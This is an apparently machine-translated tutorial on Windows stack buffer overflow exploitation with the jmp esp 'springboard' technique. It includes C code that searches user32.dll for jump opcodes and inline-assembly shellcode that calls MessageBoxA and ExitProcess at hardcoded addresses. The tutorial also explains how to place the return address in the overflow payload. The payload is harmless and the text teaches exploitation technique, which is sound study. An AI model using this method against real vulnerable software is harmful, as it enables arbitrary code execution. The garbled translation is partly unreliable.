Shift and stack frames 0x00 jmp esp
0x01 principle
In the code into chapter2 stack overflow principle and practice, directly to the return address configured as a fixed value, but because of the dynamic link library loading and unloading and other reasons, the function stack frame Windows process is likely to have a "shift ", resulting in the case shown below, points to an invalid command, resulting in shellcode not function properly.
To solve this problem, you need to use a "springboard" , here is the jump instruction jmp ESP (springboard technology should be regarded as a milestone in the use of Windows stack overflow technique).
Attack process:
- With any of a memory address of the instruction jmp esp coverage function return address;
- After jmp esp instruction is executed, the processor will be a function of the local stack area after the execution of the return instruction fetch address;
- Shellcode rearrangement: the front section where the buffer is filled with arbitrary data, the shellcode placed just after the function returns the address.
0x02 using the "springboard" positioning exploit
Preparation 1: programmed memory search, find jmp esp memory address.
jmp esp corresponding machine code is 0xFFE4, the role of the program is from the base address in memory user32.dll start back search 0xFFE4, if found to return to its memory address (pointer value). Modify the program can be used to replace other dynamic link library user32.dll, or other types of jump address.
// FF E0 JMP EAX
// FF E1 JMP ECX
// FF E2 JMP EDX
// JMP EBX FF E3
// FF E4 JMP ESP
// FF E5 JMP EBP
// FF E6 JMP ESI
// FF E7 JMP EDI
//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } }
operation result:
Select a 0x77D86773 as a return address.
Preparation 2: In order to fix before the shellcode can not exit properly defects, after the call to MessageBox, by calling the exit function allows the program to exit cleanly.
ExitProcess kernel32.dll export function is still using dependency walker, we need to find the memory address, the results are as follows:
kernel32.dll base address 0x7C800000 , plus the offset address of the function 0x0001CAFA , to give the final entry for the address of the function 0x7C81CAFA .
Preparation 3: extracting corresponding machine code assembler code. By disassembly tool, such as IDA pro or assembly code to machine code OD complete conversion.
Shellcode used as source code, compiled with VC6.0 run:
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop sub sp,0x440 xor ebx,ebx push ebx // cut string push 0x74736577 push 0x6C696166//push failwest mov eax,esp //load address of failwest push ebx push eax push eax push ebx mov eax, 0x77D507EA//(0x77D804EA) address should be reset in different OS call eax //call MessageboxA push ebx mov eax,0x7C81CAFA //(0x7C81CDDA) address should be reset in different OS call eax //call exit(0) nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop } }
note! ExitProcess entry address corresponding to the function to be changed to the preparation obtained in Example 2 memory address. At the same time, before and after the input more convenient nop is positioned next machine code.
Results: Loading the OD in PE file, find the corresponding machine code copied to TXT file.
So far, the necessary preparation work is done, then you make exploit it!
First, calculate the return address offset in the buffer, the memory address filled jmp esp in 53-56 bytes, before filling with an arbitrary string (e.g., '1234').
Then, fill the machine code to be executed:
Results: The use springboard to complete the message box, and memory error does not appear.